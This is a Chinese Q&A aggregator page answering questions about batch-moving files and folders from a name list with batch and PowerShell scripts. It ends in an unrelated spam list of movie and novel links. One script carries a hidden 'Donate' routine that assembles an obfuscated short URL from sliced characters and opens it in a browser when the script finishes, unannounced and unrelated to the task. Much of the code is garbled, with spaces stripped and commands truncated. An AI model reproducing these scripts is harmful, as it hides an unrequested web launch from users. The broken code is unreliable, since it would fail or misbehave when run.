導航:首頁 > 文件處理 > 根據清單批量移動文件夾

根據清單批量移動文件夾

發布時間:2022-07-01 09:17:58

❶ bat批處理,根據清單中的文件名將多個文件移動到另外一個路徑下,如何批量處理非常感謝!

@echooff&title移動清單內文件By依夢琴瑤

::設置清單列表文件
setList=D:FilesList.txt

::設置原文件所處目錄路徑
setSrcDir=D:MyFileFolder

::設置目標保存目錄路徑
setSavDir=D:SaveFileFolder

::此段落代碼適用於原文件在主目錄中
for/f"usebackqdelims="%%ain("%List%")do(
move"%SrcDir%\%%~a""%SavDir%"
)


::此段落代碼適用於原文件在主目錄或其子目錄中
for/f"usebackqdelims="%%ain("%List%")do(
pushd"%SrcDir%"
for/f"delims="%%bin('dir/a-d/s/b"%%~a"')domove"%%~b""%SavDir%"
popd
)

::以上兩個段落代碼,請根據自己需求選擇保留其中一個,不需要的,請刪除。

pause
call:Donate
exit

:Donate
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit

❷ 如何將文件批量移動到帶有同名的文件夾

復制粘貼到記事本,另存為xx.bat,編碼選ANSI,跟要處理的文件放一起運行

@echooff&modeconlines=3000
rem根據文件和文件夾的名稱中都包含有的部分相同字元串,將文件移動到對應的文件夾里
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
cd/d"%~dp0"
>"%tmp%j.j"echo;while(!WSH.StdIn.AtEndOfStream){varf=WSH.StdIn.ReadLine();WSH.echo(f+'^|'+f.replace(/^^d+/,''))}
for/f"tokens=1*delims=|"%%ain('dir/ad/b^|cscript-nologo-e:jscript"%tmp%j.j"')do(
for/f"delims="%%cin('dir/a-d/b"*%%b*.*"2^>nul')do(
echo;"%%c"--^>"%%a"
move"%%c""%%a"
)
)
:end
echo;%#%+%$%%$%/%@%%z%
pause

❸ 如何根據指定的文件夾目錄,批量復制到指定的文件夾里

使用這款專用的軟體來完成!選擇其中的第13選項卡,勾選含子文件夾,勾選文件夾,添加文件夾列表,導入數據源清單,單擊搜索目標,然後選擇處理方式為復制,指定輸出目錄,單擊復制按鈕。

❹ 批量移動當前目錄下的所有子文件夾

不清楚你的實際文件/情況,僅以問題中的樣例/說明為據;以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI,跟要處理的多個文件夾放一起雙擊運行
<# :
cls&echo off&mode con lines=5000
rem 將當前目錄下第二級子文件夾里的文件剪切/移動到第一級子文件夾里/上一級子文件夾里
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%_% %z%
pause
exit
#>
[byte[]]$b=@(32,45,45,62,32);
$c=[Text.Encoding]::Default.GetString($b);
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$folders1=@(dir -liter $path|?{$_ -is [System.IO.DirectoryInfo]});
for($i=0;$i -lt $folders1.length;$i++){
$folders2=@(dir -liter $folders1[$i].FullName|?{$_ -is [System.IO.DirectoryInfo]});
for($j=0;$j -lt $folders2.length;$j++){
$files=@(dir -liter $folders2[$j].FullName);
for($k=0;$k -lt $files.length;$k++){
$files[$k].FullName.substring($path.length)+$c+$folders1[$i].FullName.substring($path.length)+'\'+$files[$k].Name;
}
#remove-Item -liter $folders2[$j].FullName -ErrorAction SilentlyContinue;
}
}

❺ 請教如何將清單中的文件和文件夾批量復制或者移動到指定文件夾

不清楚你的實際文件/情況,僅以問題中的樣例/說明為據
復制粘貼到記事本,另存為xx.bat,編碼選ANSI

@echooff
rem根據一個txt文本文件里列出的文件或文件夾的名稱清單,將多個文件或文件夾從一個文件夾里復制到另一個新的文件夾里
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
cd/d"%~dp0"
set"txtfile=名稱清單.txt"
set"oldfolder=D:xxx原文件夾"
set"newfolder=D:xxx新文件夾"
ifnotexist"%txtfile%"(echo;"%txtfile%"nofound&gotoend)
ifnotexist"%oldfolder%"(echo;"%oldfolder%"nofound&gotoend)
ifnotexist"%newfolder%"md"%newfolder%"
for/f"delims="%%ain('type"%txtfile%"')do(
set"f="
ifexist"%oldfolder%\%%a"(
setf=1
echo;"%oldfolder%\%%a"--^>"%newfolder%\%%a"
x"%oldfolder%\%%a""%newfolder%\%%a"/e/h/y/q
)else(
ifexist"%oldfolder%\%%a"(
setf=1
echo;"%oldfolder%\%%a"--^>"%newfolder%"
/y"%oldfolder%\%%a""%newfolder%"
)
)
ifnotdefinedf(echo;[notfound]"%%a")
)
:end
echo;%#%+%$%%$%/%@%%z%
pause
exit

❻ 根據excel批量移動文件到文件夾

在你excel的c2或者d2寫
=" " & right(a2,3) & ".jpg " & a2
回車
之後你的C2或D2會變成 001.jpg hc-x-2011-001
用自動填充鈕向下拖動填充
然後把C或D列復制一下,貼到記本事本里,保存,類型為所有文件*.*,文件名比如是1.bat,保存到你hc-x-2011下,執行就行了。
這個只是復制,要移動的話需要把上面的改為move,注意做好備份再執行,以防意外。

❼ 如何快速批量將多個文件移動到多個文件夾下

選中一個文件,然後按中shift不放 點擊另一個文件,然後這兩個文件之間所有文件都被選中,創建多個窗口進行拖動到你想要的目錄下就行了;

另:按住Ctrl 不放 可單獨增加選中某一個文件夾;在已選中的文件中按住Ctrl點擊可取消選中當前文件。

❽ 如何批量移動文件到各個文件夾

直接用軟體就可以了,推薦你一個軟體吧:
文件分揀機
更新版本:1.8
適合系統:win8/win7/vista/win2003/winxp
軟體介紹:
文件分揀、歸類工具:
可根據文件名稱把名稱相同或相近(通過設置過濾條件)的文件批量復制或移動到相應的文件夾中,如把某磁碟下」A工程.doc「,」A工程.xls「,「A工程1.Jpg」等文件統一歸類(復制或移動)到「C:\A工程」目錄下;
可根據文件類型把同一類型的文件批量復制或移動到相應的文件夾中,如把磁碟上所有MP3文件復制或移動到」MP3「目錄,把JPG圖像文件歸類到」JPG「目錄;
按文件大小分揀文件:比如將大於或小於300K的文件從文件群中找出來。
按圖片文件尺寸分揀圖片文件:比如將寬或高大於或小於300像素的圖片從文件群中找出來。
按文件的創建時間、修改時間分揀:將某個特定時間點之前或以後的文件分離出來。
分揀選項包括:可設置只包括或排除某種文件類型分揀,如只分揀XLS
DOC文件,或不分揀JPG文件等、可以選擇進行移動式或復制式分揀等。
綠色軟體,下載解壓即可使用。
http://www.skycn.com/soft/appid/19274.html

閱讀全文

與根據清單批量移動文件夾相關的資料

熱點內容
windows打開埠命令 瀏覽:92
php獲取數組第一個元素key 瀏覽:487
重生二戰德國元首希特勒 瀏覽:135
被迫成為言情文的炮灰男小三 瀏覽:646
風月片在線觀看視頻 瀏覽:427
如何更新搶修app 瀏覽:711
aqdya愛情網 瀏覽:743
韓國倫理電影正宇 瀏覽:887
男主角在劇里叫諾亞的電影 瀏覽:794
集結號的男主 瀏覽:415
魔獸世界懷舊服會長移交命令 瀏覽:100
中文字幕在線觀看的網站 瀏覽:473
主角上自己女兒的小說 瀏覽:112
javaextjs文件上傳 瀏覽:28
有哪些佛教電影 瀏覽:149
成人劇情小說 瀏覽:113
國外免費小電影網站 瀏覽:909
怎麼把文件夾百度網盤 瀏覽:788
韓國頂級愛情電影 瀏覽:489
美國電影紅 瀏覽:946